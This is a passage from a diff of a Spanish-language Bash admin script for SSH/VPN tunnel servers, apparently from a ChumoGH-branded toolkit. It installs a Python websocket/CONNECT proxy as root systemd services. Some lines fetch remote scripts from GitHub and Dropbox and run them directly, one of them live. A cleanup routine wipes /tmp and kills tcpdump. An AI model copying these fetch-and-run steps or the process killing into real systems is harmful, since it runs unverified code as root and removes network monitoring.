+#echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech} Menu Clash - Menu Antiguo (Ingreso Manual)"
+#msg -bar
+#echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")"
+#msg -bar
+#selection=$(selection_fun 2)
+#case ${selection} in
+# 1)
+ source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/clash-beta.sh)
+ read -p " Presiona Enter Para Continuar "
+# return 0;;
+# 2)
+# wget -q -O /bin/ejecutar/clash.sh https://www.dropbox.com/s/tyuz3ms5zv73pyy/clash.sh
+# chmod +x /bin/ejecutar/clash.sh
+# bash /bin/ejecutar/clash.sh
+# [[ -e /bin/ejecutar/clash.sh ]] && rm /bin/ejecutar/clash.sh
+# return 0
+# ;;
+# 0) break
+# return 0
+## *) echo -e "\n selecione una opcion del 0 al 2" && sleep 1;;
+# esac
+# done
+#source <(curl -sL https://raw.githubusercontent.com/ChumoGH/ChumoGH-Script/master/Clash/clash.sh)
+#bash -c "$(curl -fsSL https://raw.githubusercontent.com/JeannieStudio/all_install/master/SixForOne_install.sh)"
+}
+
+iniciarsocks () {
+msg -bar3
+ADM_inst="/etc/adm-lite" #&& [[ ! -d ${ADM_inst} ]] && exit
+system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //')
+vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2)
+echo -e "ESPERE UN MOMENTO MIENTRAS FIXEAMOS SU SISTEMA "
+
+fun_upgrade() {
+ sync
+ echo 3 >/proc/sys/vm/drop_caches
+ sync && sysctl -w vm.drop_caches=3
+ sysctl -w vm.drop_caches=0
+ swapoff -a
+ swapon -a
+sudo apt install software-properties-common -y &> /dev/null
+apt install python2 -y &> /dev/null
+sudo update-alternatives --install /usr/bin/python python /usr/bin/python2 1 &> /dev/null
+ rm -rf /tmp/* > /dev/null 2>&1
+ killall kswapd0 > /dev/null 2>&1
+ killall tcpdump > /dev/null 2>&1
+ killall ksoftirqd > /dev/null 2>&1
+ echo > /etc/fixpython
+}
+
+function aguarde() {
+ sleep .1
+ echo -e "SU VERSION DE UBUNTU ${vercion} ES SUPERIOR A 18.04 "
+ helice() {
+ fun_upgrade >/dev/null 2>&1 &
+ tput civis
+ while [ -d /proc/$! ]; do
+ for i in / - \\ \|; do
+ sleep .1
+ echo -ne "\e[1D$i"
+ done
+ done
+ tput cnorm
+ }
+ echo -ne "\033[1;37m OPTIMIZANDO Y \033[1;32mFIXEANDO \033[1;37mPYTHON \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m"
+ helice
+ echo -e "\e[1DOk"
+}
+
+[[ "${vercion}" > "20" ]] && {
+echo -e ""
+msg -bar3
+[[ -e /etc/fixpython ]] || aguarde
+} || {
+echo
+ [[ -e /etc/fixpython ]] || {
+ echo -e " SU VERSION DE UBUNTU ${vercion} ES INFERIOR O 18.04 "
+ apt-get install python -y &>/dev/null
+ apt-get install python3 -y &>/dev/null
+ touch /etc/fixpython
+ }
+}
+
+clear
+
+mportas () {
+unset portas
+portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
+done <<< "$portas_var"
+i=1
+echo -e "$portas"
+}
+
+stop_all () {
+_ps="$(ps x)"
+ ck_py=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "python")
+ [[ -z ${ck_py} ]] && ck_py=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "WS-Epro")
+ if [[ -z $(echo "$ck_py" | awk '{print $1}' | head -n 1) ]]; then
+ print_center -verm "Puertos PYTHON no encontrados"
+ msg -bar3
+ else
+ ck_port=$(echo "$ck_py" | awk '{print $9}' | awk -F ":" '{print $2}')
+ [[ -z ${ck_port} ]] && ck_port=$(echo -e "${_ps}" | grep PDirect | grep -v grep | awk '{print $7}')
+ for i in $ck_port; do
+ kill -9 $(echo -e "${_ps}"| grep PDirect | grep -v grep | head -n 1 | awk '{print $1}') &>/dev/null
+ systemctl stop python.${i} &>/dev/null
+ systemctl disable python.${i} &>/dev/null
+ rm -f /etc/systemd/system/python.${i}.service
+ rm -f /etc/adm-lite/PDirect
+ done
+ for pidproxy in $(screen -ls | grep ".ws" | awk {'print $1'}); do
+ screen -r -S "$pidproxy" -X quit
+ done
+ [[ $(grep -wc "PDirect.py" /bin/autoboot) != '0' ]] && {
+ sed -i '/PDirect/d' /bin/autoboot
+ sed -i '/python/d' /bin/autoboot
+ }
+ rm -f /etc/adm-lite/PDirect
+ screen -wipe &>/dev/null
+ kill -9 $(echo -e "${_ps}" | grep -w python | grep -v grep | awk '{print $1}') &>/dev/null
+ print_center -verd "Puertos PYTHON detenidos"
+ msg -bar3
+ fi
+ sleep 0.5
+ }
+
+stop_port () {
+ sleep 0.5
+ clear
+ STPY="$(mportas | grep python| awk '{print $2}')"
+ STPY+=" $(mportas |grep WS-Epro| awk '{print $2}')"
+ msg -bar3
+ print_center -ama "DETENER UN PUERTO"
+ msg -bar3
+ n=1
+ for i in $STPY; do
+ echo -e " \033[1;32m[$n] \033[1;31m> \033[1;37m$i\033[0m"
+ pypr[$n]=$i
+ let n++
+ done
+
+ msg -bar3
+ echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra "\033[1;41mVOLVER"
+ msg -bar3
+ echo -ne "\033[1;37m opcion: " && read prpy
+ tput cuu1 && tput dl1
+
+ [[ $prpy = "0" ]] && return
+ systemctl stop python.${pypr[$prpy]} &>/dev/null
+ systemctl disable python.${pypr[$prpy]} &>/dev/null
+ rm /etc/systemd/system/python.${pypr[$prpy]}.service &>/dev/null
+ sed -i "/ws${pypr[$prpy]}/d" /bin/autoboot &>/dev/null
+ kill -9 $(echo -e "${_ps}"| grep -w "ws${pypr[$prpy]}" | grep -v grep | head -n 1 | awk '{print $1}') &>/dev/null
+ kill $(echo -e "${_ps}"| grep -w "${pypr[$prpy]}" | grep -v grep | awk '{print $1}') &>/dev/null
+ sed -i '/PDirect${pypr[$prpy]}/d' /bin/autoboot
+ screen -wipe &>/dev/null
+ print_center -verd "PUERTO PYTHON ${pypr[$prpy]} RETIRADO"
+ msg -bar3
+ sleep 0.5
+ }
+
+colector(){
+conect="$1"
+ clear
+ msg -bar3
+ print_center -azu " Puerto Principal, para Proxy Directo"
+ msg -bar3
+
+while [[ -z $porta_socket ]]; do
+ echo -ne "\033[1;37m Digite el Puerto: " && read porta_socket
+ porta_socket=$(echo ${porta_socket}|sed 's/[^0-9]//g')
+ tput cuu1 && tput dl1
+
+ [[ $(mportas|grep -w "${porta_socket}") = "" ]] && {
+ echo -e "\033[1;33m Puerto python:\033[1;32m ${porta_socket} VALIDO"
+ msg -bar3
+ } || {
+ echo -e "\033[1;33m Puerto python:\033[1;31m ${porta_socket} OCUPADO" && sleep 1
+ tput cuu1 && tput dl1
+ unset porta_socket
+ }
+ done
+
+ if [[ $conect = "PDirect" ]]; then
+ print_center -azu " Puerto Local SSH/DROPBEAR/OPENVPN"
+ msg -bar3
+
+ while [[ -z $local ]]; do
+ echo -ne "\033[1;97m Digite el Puerto: \033[0m" && read local
+ local=$(echo ${local}|sed 's/[^0-9]//g')
+ tput cuu1 && tput dl1
+
+ [[ $(mportas|grep -w "${local}") = "" ]] && {
+ echo -e "\033[1;33m Puerto local:\033[1;31m ${local} NO EXISTE" && sleep 1
+ tput cuu1 && tput dl1
+ unset local
+ } || {
+ echo -e "\033[1;33m Puerto local:\033[1;32m ${local} VALIDO"
+ msg -bar3
+ tput cuu1 && tput dl1
+ }
+ done
+ msg -bar3
+echo -e " Respuesta de Encabezado (101,200,484,500,etc) \033[1;37m"
+msg -bar3
+ print_center -azu "Response personalizado (enter por defecto 200)"
+ print_center -ama "NOTA : Para OVER WEBSOCKET escribe (101)"
+ msg -bar3
+ echo -ne "\033[1;97m ENCABEZADO : \033[0m" && read response
+ response=$(echo ${response}|sed 's/[^0-9]//g')
+ tput cuu1 && tput dl1
+ if [[ -z $response ]]; then
+ response="200"
+ echo -e "\033[1;33m CABECERA :\033[1;32m ${response} VALIDA"
+ else
+ echo -e "\033[1;33m CABECERA :\033[1;32m ${response} VALIDA"
+ fi
+ msg -bar3
+ fi
+
+ if [[ ! $conect = "PGet" ]] && [[ ! $conect = "POpen" ]]; then
+ print_center -azu "Introdusca su Mini-Banner"
+ msg -bar3
+ print_center -azu "Introduzca un texto [NORMAL] o en [HTML]"
+ echo -ne "-> : "
+ read texto_soket
+ fi
+
+ if [[ $conect = "PPriv" ]]; then
+ py="python3"
+ IP=$(fun_ip)
+ elif [[ $conect = "PGet" ]]; then
+ echo "master=ChumoGH" > ${ADM_tmp}/pwd.pwd
+ while read service; do
+ [[ -z $service ]] && break
+ echo "127.0.0.1:$(echo $service|cut -d' ' -f2)=$(echo $service|cut -d' ' -f1)" >> ${ADM_tmp}/pwd.pwd
+ done <<< "$(mportas)"
+ porta_bind="0.0.0.0:$porta_socket"
+ pass_file="${ADM_tmp}/pwd.pwd"
+ py="python"
+ else
+ py="python"
+ fi
+[[ -z $textosocket ]] && textosocket="@drowkid01"
+mod1() {
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+msg -ama " BINARIO OFICIAL DE Epro Dev Team "
+sleep 2s && tput cuu1 && tput dl1
+[[ -e /etc/adm-lite/PDirect ]] && {
+echo -e "[Unit]
+Description=WS-Epro Service by @ChumoGH
+After=network.target
+StartLimitIntervalSec=0
+
+[Service]
+Type=simple
+User=root
+WorkingDirectory=/root
+ExecStart=/bin/WS-Epro -salome -listen :${porta_socket} -ssh 127.0.0.1:${local} -f /etc/adm-lite/PDirect
+Restart=always
+RestartSec=3s
+
+[Install]
+WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service
+} || {
+echo "# verbose level 0=info, 1=verbose, 2=very verbose
+verbose: 0
+listen:
+- target_host: 127.0.0.1
+ target_port: ${local}
+ listen_port: ${porta_socket}" > /etc/adm-lite/PDirect
+
+echo -e "[Unit]
+Description=WS-Epro Service by @ChumoGH
+After=network.target
+StartLimitIntervalSec=0
+
+[Service]
+Type=simple
+User=root
+WorkingDirectory=/root
+ExecStart=/bin/WS-Epro -f /etc/adm-lite/PDirect
+Restart=always
+RestartSec=3s
+
+[Install]
+WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service
+}
+ systemctl enable python.$porta_socket &>/dev/null
+ systemctl start python.$porta_socket &>/dev/null
+
+ if [[ $conect = "PGet" ]]; then
+ [[ "$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}')" ]] && {
+ print_center -verd "Gettunel Iniciado com Exito"
+ print_center -azu "Su Contrase�a Gettunel es: $(msg -ama "ChumoGH")"
+ msg -bar3
+ } || {
+ print_center -verm2 "Gettunel no fue iniciado"
+ msg -bar3
+ }
+ fi
+ }
+
+ mod2() {
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+texto="$(echo ${texto_soket} | sed 's/\"//g')"
+#texto_soket="$(echo $texto|sed 'y/áÁàÂ54ãÒâÀ32é� 30ê�`íÍóÀ34õ� 22ôÀ35ú�añÀ30ç� 21ªº/aAaAaAaAeEeEiIoOoOoOuUnNcCao/')"
+[[ ! -z $porta_bind ]] && conf=" 80 " || conf="$porta_socket "
+ #[[ ! -z $pass_file ]] && conf+="-p $pass_file"
+ #[[ ! -z $local ]] && conf+="-l $local "
+ #[[ ! -z $response ]] && conf+="-r $response "
+ #[[ ! -z $IP ]] && conf+="-i $IP "
+ [[ ! -z $texto_soket ]] && conf+=" '$texto_soket'"
+cp ${ADM_inst}/$1.py $HOME/PDirect.py
+systemctl stop python.${porta_socket} &>/dev/null
+systemctl disable python.${porta_socket} &>/dev/null
+rm -f /etc/systemd/system/python.${porta_socket}.service &>/dev/null
+#================================================================
+(
+less << PYTHON > ${ADM_inst}/PDirect.py
+#!/usr/bin/env python
+# encoding: utf-8
+import socket, threading, thread, select, signal, sys, time, getopt
+
+# Listen
+LISTENING_ADDR = '0.0.0.0'
+if sys.argv[1:]:
+ LISTENING_PORT = sys.argv[1]
+else:
+ LISTENING_PORT = 80
+#Pass
+PASS = ''
+# CONST
+BUFLEN = 4096 * 4
+TIMEOUT = 60
+DEFAULT_HOST = '127.0.0.1:$local'
+MSG = '$texto'
+STATUS_RESP = '$response'
+FTAG = '\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n'
+
+if STATUS_RESP == '101':
+ STATUS_TXT = 'Web Socket Protocol'
+else:
+ STATUS_TXT = 'Connection established'
+
+RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(STATUS_TXT) + ' ' + str(MSG) + ' ' + str(FTAG)
+
+
+class Server(threading.Thread):
+ def __init__(self, host, port):
+ threading.Thread.__init__(self)
+ self.running = False
+ self.host = host
+ self.port = port
+ self.threads = []
+ self.threadsLock = threading.Lock()
+ self.logLock = threading.Lock()
+
+ def run(self):
+ self.soc = socket.socket(socket.AF_INET)
+ self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ self.soc.settimeout(2)
+ intport = int(self.port)
+ self.soc.bind((self.host, intport))
+ self.soc.listen(0)
+ self.running = True
+
+ try:
+ while self.running:
+ try:
+ c, addr = self.soc.accept()
+ c.setblocking(1)
+ except socket.timeout:
+ continue
+
+ conn = ConnectionHandler(c, self, addr)
+ conn.start()
+ self.addConn(conn)
+ finally:
+ self.running = False
+ self.soc.close()
+
+ def printLog(self, log):
+ self.logLock.acquire()
+ print log
+ self.logLock.release()
+
+ def addConn(self, conn):
+ try:
+ self.threadsLock.acquire()
+ if self.running:
+ self.threads.append(conn)
+ finally:
+ self.threadsLock.release()
+
+ def removeConn(self, conn):
+ try:
+ self.threadsLock.acquire()
+ self.threads.remove(conn)
+ finally:
+ self.threadsLock.release()
+
+ def close(self):
+ try:
+ self.running = False
+ self.threadsLock.acquire()
+
+ threads = list(self.threads)
+ for c in threads:
+ c.close()
+ finally:
+ self.threadsLock.release()
+
+
+class ConnectionHandler(threading.Thread):
+ def __init__(self, socClient, server, addr):
+ threading.Thread.__init__(self)
+ self.clientClosed = False
+ self.targetClosed = True
+ self.client = socClient
+ self.client_buffer = ''
+ self.server = server
+ self.log = 'Connection: ' + str(addr)
+
+ def close(self):
+ try:
+ if not self.clientClosed:
+ self.client.shutdown(socket.SHUT_RDWR)
+ self.client.close()
+ except:
+ pass
+ finally:
+ self.clientClosed = True
+
+ try:
+ if not self.targetClosed:
+ self.target.shutdown(socket.SHUT_RDWR)
+ self.target.close()
+ except:
+ pass
+ finally:
+ self.targetClosed = True
+
+ def run(self):
+ try:
+ self.client_buffer = self.client.recv(BUFLEN)
+
+ hostPort = self.findHeader(self.client_buffer, 'X-Real-Host')
+
+ if hostPort == '':
+ hostPort = DEFAULT_HOST
+
+ split = self.findHeader(self.client_buffer, 'X-Split')
+
+ if split != '':
+ self.client.recv(BUFLEN)
+
+ if hostPort != '':
+ passwd = self.findHeader(self.client_buffer, 'X-Pass')
+
+ if len(PASS) != 0 and passwd == PASS:
+ self.method_CONNECT(hostPort)
+ elif len(PASS) != 0 and passwd != PASS:
+ self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n')
+ elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'):
+ self.method_CONNECT(hostPort)
+ else:
+ self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n')
+ else:
+ print '- No X-Real-Host!'
+ self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n')
+
+ except Exception as e:
+ self.log += ' - error: ' + e.strerror
+ self.server.printLog(self.log)
+ pass
+ finally:
+ self.close()
+ self.server.removeConn(self)
+
+ def findHeader(self, head, header):
+ aux = head.find(header + ': ')
+
+ if aux == -1:
+ return ''
+
+ aux = head.find(':', aux)
+ head = head[aux+2:]
+ aux = head.find('\r\n')
+
+ if aux == -1:
+ return ''
+
+ return head[:aux];
+
+ def connect_target(self, host):
+ i = host.find(':')
+ if i != -1:
+ port = int(host[i+1:])
+ host = host[:i]
+ else:
+ if self.method=='CONNECT':
+ port = 22
+ else:
+ port = sys.argv[1]
+
+ (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0]
+
+ self.target = socket.socket(soc_family, soc_type, proto)
+ self.targetClosed = False
+ self.target.connect(address)
+
+ def method_CONNECT(self, path):
+ self.log += ' - CONNECT ' + path
+
+ self.connect_target(path)
+ self.client.sendall(RESPONSE)
+ self.client_buffer = ''
+
+ self.server.printLog(self.log)
+ self.doCONNECT()
+
+ def doCONNECT(self):
+ socs = [self.client, self.target]
+ count = 0
+ error = False
+ while True:
+ count += 1
+ (recv, _, err) = select.select(socs, [], socs, 3)
+ if err:
+ error = True
+ if recv:
+ for in_ in recv:
+ try:
+ data = in_.recv(BUFLEN)
+ if data:
+ if in_ is self.target:
+ self.client.send(data)
+ else:
+ while data:
+ byte = self.target.send(data)
+ data = data[byte:]
+
+ count = 0
+ else:
+ break
+ except:
+ error = True
+ break
+ if count == TIMEOUT:
+ error = True
+ if error:
+ break
+
+
+def print_usage():
+ print 'Usage: proxy.py -p '
+ print ' proxy.py -b -p '
+ print ' proxy.py -b 0.0.0.0 -p 80'
+
+def parse_args(argv):
+ global LISTENING_ADDR
+ global LISTENING_PORT
+
+ try:
+ opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="])
+ except getopt.GetoptError:
+ print_usage()
+ sys.exit(2)
+ for opt, arg in opts:
+ if opt == '-h':
+ print_usage()
+ sys.exit()
+ elif opt in ("-b", "--bind"):
+ LISTENING_ADDR = arg
+ elif opt in ("-p", "--port"):
+ LISTENING_PORT = int(arg)
+
+
+def main(host=LISTENING_ADDR, port=LISTENING_PORT):
+
+ print "\033[0;34m�01"*8,"\033[1;32m PROXY PYTHON WEBSOCKET","\033[0;34m�01"*8,"\n"
+ print "\033[1;33mIP:\033[1;32m " + LISTENING_ADDR
+ print "\033[1;33mPORTA:\033[1;32m " + str(LISTENING_PORT) + "\n"
+ print "\033[0;34m�01"*10,"\033[1;32m ChumoGH ADM - LITE","\033[0;34m�01\033[1;37m"*11,"\n"
+
+
+ server = Server(LISTENING_ADDR, LISTENING_PORT)
+ server.start()
+
+ while True:
+ try:
+ time.sleep(2)
+ except KeyboardInterrupt:
+ print 'Parando...'
+ server.close()
+ break
+
+if __name__ == '__main__':
+ parse_args(sys.argv[1:])
+ main()
+PYTHON
+) > $HOME/proxy.log
+
+msg -bar3
+#systemctl start $py.$porta_socket &>/dev/null
+chmod +x ${ADM_inst}/$1.py
+
+echo -e "[Unit]
+Description=$1 Parametizado Service by @ChumoGH
+After=network.target
+StartLimitIntervalSec=0
+
+[Service]
+Type=simple
+User=root
+WorkingDirectory=/root
+ExecStart=/usr/bin/$py ${ADM_inst}/${1}.py $conf
+Restart=always
+RestartSec=3s
+
+[Install]
+WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service
+systemctl enable python.$porta_socket &>/dev/null
+systemctl start python.$porta_socket &>/dev/null
+[[ -e $HOME/$1.py ]] && echo -e "\n\n Fichero Alojado en : ${ADM_inst}/$1.py \n\n Respaldo alojado en : $HOME/$1.py \n"
+#================================================================
+[[ -e /etc/systemd/system/python.$porta_socket.service ]] && {
+msg -bar3
+print_center -verd " INICIANDO SOCK Python Puerto ${porta_socket} "
+sleep 1s && tput cuu1 && tput dl1
+} || {
+print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR"
+sleep 1s && tput cuu1 && tput dl1
+return
+}
+[[ ! -e /bin/ejecutar/PortPD.log ]] && echo -e "${conf}" > /bin/ejecutar/PortPD.log
+}
+
+ mod3() {
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+texto="$(echo ${texto_soket} | sed 's/\"//g')"
+[[ ! -z $porta_bind ]] && conf=" 80 " || conf="$porta_socket "
+[[ ! -z $texto_soket ]] && conf+=" '$texto_soket'"
+cp ${ADM_inst}/$1.py $HOME/PDirect.py
+systemctl stop python.${porta_socket} &>/dev/null
+systemctl disable python.${porta_socket} &>/dev/null
+rm -f /etc/systemd/system/python.${porta_socket}.service &>/dev/null
+#================================================================
+less << PYTHON > ${ADM_inst}/PDirect.py
+#!/usr/bin/env python
+# encoding: utf-8
+import socket, threading, thread, select, signal, sys, time, getopt
+
+# Listen
+LISTENING_ADDR = '0.0.0.0'
+if sys.argv[1:]:
+ LISTENING_PORT = sys.argv[1]
+else:
+ LISTENING_PORT = 80
+#Pass
+PASS = ''
+# CONST
+BUFLEN = 4096 * 4
+TIMEOUT = 60
+DEFAULT_HOST = '127.0.0.1:$local'
+MSG = '$texto'
+STATUS_RESP = '$response'
+FTAG = '\r\nContent-length: 0\r\n\r\nHTTP/1.1 $STATUS_RESP Connection established\r\n\r\n'
+
+if STATUS_RESP == '101':
+ STATUS_TXT = 'Web Socket Protocol'
+else:
+ STATUS_TXT = 'Connection established'
+
+#RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(STATUS_TXT) + ' ' + str(MSG) + ' ' + str(FTAG)
+RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(MSG) + ' ' + str(FTAG)
+
+
+class Server(threading.Thread):
+ def __init__(self, host, port):
+ threading.Thread.__init__(self)
+ self.running = False
+ self.host = host
+ self.port = port
+ self.threads = []
+ self.threadsLock = threading.Lock()
+ self.logLock = threading.Lock()
+
+ def run(self):
+ self.soc = socket.socket(socket.AF_INET)
+ self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ self.soc.settimeout(2)
+ intport = int(self.port)
+ self.soc.bind((self.host, intport))
+ self.soc.listen(0)
+ self.running = True
+
+ try:
+ while self.running:
+ try:
+ c, addr = self.soc.accept()
+ c.setblocking(1)
+ except socket.timeout:
+ continue
+
+ conn = ConnectionHandler(c, self, addr)
+ conn.start()
+ self.addConn(conn)
+ finally:
+ self.running = False
+ self.soc.close()
+
+ def printLog(self, log):
+ self.logLock.acquire()
+ print log
+ self.logLock.release()
+
+ def addConn(self, conn):
+ try:
+ self.threadsLock.acquire()
+ if self.running:
+ self.threads.append(conn)
+ finally:
+ self.threadsLock.release()
+
+ def removeConn(self, conn):
+ try:
+ self.threadsLock.acquire()
+ self.threads.remove(conn)
+ finally:
+ self.threadsLock.release()
+
+ def close(self):
+ try:
+ self.running = False
+ self.threadsLock.acquire()
+
+ threads = list(self.threads)
+ for c in threads:
+ c.close()
+ finally:
+ self.threadsLock.release()
+
+
+class ConnectionHandler(threading.Thread):
+ def __init__(self, socClient, server, addr):
+ threading.Thread.__init__(self)
+ self.clientClosed = False
+ self.targetClosed = True
+ self.client = socClient
+ self.client_buffer = ''
+ self.server = server
+ self.log = 'Connection: ' + str(addr)
+
+ def close(self):
+ try:
+ if not self.clientClosed:
+ self.client.shutdown(socket.SHUT_RDWR)
+ self.client.close()
+ except:
+ pass
+ finally:
+ self.clientClosed = True
+
+ try:
+ if not self.targetClosed:
+ self.target.shutdown(socket.SHUT_RDWR)
+ self.target.close()
+ except:
+ pass
+ finally:
+ self.targetClosed = True
+
+ def run(self):
+ try:
+ self.client_buffer = self.client.recv(BUFLEN)
+
+ hostPort = self.findHeader(self.client_buffer, 'X-Real-Host')
+
+ if hostPort == '':
+ hostPort = DEFAULT_HOST
+
+ split = self.findHeader(self.client_buffer, 'X-Split')
+
+ if split != '':
+ self.client.recv(BUFLEN)
+
+ if hostPort != '':
+ passwd = self.findHeader(self.client_buffer, 'X-Pass')
+
+ if len(PASS) != 0 and passwd == PASS:
+ self.method_CONNECT(hostPort)
+ elif len(PASS) != 0 and passwd != PASS:
+ self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n')
+ elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'):
+ self.method_CONNECT(hostPort)
+ else:
+ self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n')
+ else:
+ print '- No X-Real-Host!'
+ self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n')
+
+ except Exception as e:
+ self.log += ' - error: ' + e.strerror
+ self.server.printLog(self.log)
+ pass
+ finally:
+ self.close()
+ self.server.removeConn(self)
+
+ def findHeader(self, head, header):
+ aux = head.find(header + ': ')
+
+ if aux == -1:
+ return ''
+
+ aux = head.find(':', aux)
+ head = head[aux+2:]
+ aux = head.find('\r\n')
+
+ if aux == -1:
+ return ''
+
+ return head[:aux];
+
+ def connect_target(self, host):
+ i = host.find(':')
+ if i != -1:
+ port = int(host[i+1:])
+ host = host[:i]
+ else:
+ if self.method=='CONNECT':
+ port = 22
+ else:
+ port = sys.argv[1]
+
+ (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0]
+
+ self.target = socket.socket(soc_family, soc_type, proto)
+ self.targetClosed = False
+ self.target.connect(address)
+
+ def method_CONNECT(self, path):
+ self.log += ' - CONNECT ' + path
+
+ self.connect_target(path)
+ self.client.sendall(RESPONSE)
+ self.client_buffer = ''
+
+ self.server.printLog(self.log)
+ self.doCONNECT()
+
+ def doCONNECT(self):
+ socs = [self.client, self.target]
+ count = 0
+ error = False
+ while True:
+ count += 1
+ (recv, _, err) = select.select(socs, [], socs, 3)
+ if err:
+ error = True
+ if recv:
+ for in_ in recv:
+ try:
+ data = in_.recv(BUFLEN)
+ if data:
+ if in_ is self.target:
+ self.client.send(data)
+ else:
+ while data:
+ byte = self.target.send(data)
+ data = data[byte:]
+
+ count = 0
+ else:
+ break
+ except:
+ error = True
+ break
+ if count == TIMEOUT:
+ error = True
+ if error:
+ break
+
+
+def print_usage():
+ print 'Usage: proxy.py -p '
+ print ' proxy.py -b -p '
+ print ' proxy.py -b 0.0.0.0 -p 80'
+
+def parse_args(argv):
+ global LISTENING_ADDR
+ global LISTENING_PORT
+
+ try:
+ opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="])
+ except getopt.GetoptError:
+ print_usage()
+ sys.exit(2)
+ for opt, arg in opts:
+ if opt == '-h':
+ print_usage()
+ sys.exit()
+ elif opt in ("-b", "--bind"):
+ LISTENING_ADDR = arg
+ elif opt in ("-p", "--port"):
+ LISTENING_PORT = int(arg)
+
+
+def main(host=LISTENING_ADDR, port=LISTENING_PORT):
+
+ print "\033[0;34m�01"*8,"\033[1;32m PROXY PYTHON WEBSOCKET","\033[0;34m%01"*8,"\n"
+ print "\033[1;33mIP:\033[1;32m " + LISTENING_ADDR
+ print "\033[1;33mPORTA:\033[1;32m " + str(LISTENING_PORT) + "\n"
+ print "\033[0;34m�01"*10,"\033[1;32m ChumoGH ADMcgh Plus","\033[0;34m�01\033[1;37m"*11,"\n"
+
+ server = Server(LISTENING_ADDR, LISTENING_PORT)
+ server.start()
+
+ while True:
+ try:
+ time.sleep(2)
+ except KeyboardInterrupt:
+ print 'Parando...'
+ server.close()
+ break
+
+if __name__ == '__main__':
+ parse_args(sys.argv[1:])
+ main()
+PYTHON
+msg -bar3
+chmod +x ${ADM_inst}/$1.py
+tput cuu1 && tput dl1
+screen -dmS ws$porta_socket python ${ADM_inst}/PDirect.py ${porta_socket} & > /root/proxy.log
+print_center -verd " ${aLerT} VERIFICANDO ACTIVIDAD DE SOCK PYTHON ${aLerT} \n ${aLerT} PORVAFOR ESPERE !! ${aLerT} "
+sleep 2s && tput cuu1 && tput dl1
+sleep 1s && tput cuu1 && tput dl1
+[[ -e $HOME/$1.py ]] && echo -e "\n\n Fichero Alojado en : ${ADM_inst}/$1.py \n\n Respaldo alojado en : $HOME/$1.py \n"
+#================================================================
+[[ $(ps x | grep "ws$porta_socket python" |grep -v grep ) ]] && {
+msg -bar3
+print_center -verd " REACTIVADOR DE SOCK Python ${porta_socket} ENCENDIDO "
+[[ $(grep -wc "ws$porta_socket" /bin/autoboot) = '0' ]] && {
+ echo -e "netstat -tlpn | grep -w $porta_socket > /dev/null || { screen -r -S 'ws$porta_socket' -X quit; screen -dmS ws$porta_socket python ${ADM_inst}/$1.py ${porta_socket} & >> /root/proxy.log ; }" >>/bin/autoboot
+ } || {
+ sed -i '/ws${porta_socket}/d' /bin/autoboot
+ echo -e "netstat -tlpn | grep -w $porta_socket > /dev/null || { screen -r -S 'ws$porta_socket' -X quit; screen -dmS ws$porta_socket python ${ADM_inst}/$1.py ${porta_socket} & >> /root/proxy.log ; }" >>/bin/autoboot
+ }
+sleep 2s && tput cuu1 && tput dl1
+} || {
+print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR REACTIVADOR "
+sleep 2s && tput cuu1 && tput dl1
+return
+}
+[[ ! -e /bin/ejecutar/PortPD.log ]] && echo -e "${conf}" > /bin/ejecutar/PortPD.log
+}
+
+#-----------SELECCION------------
+selecPython () {
+msg -bar3
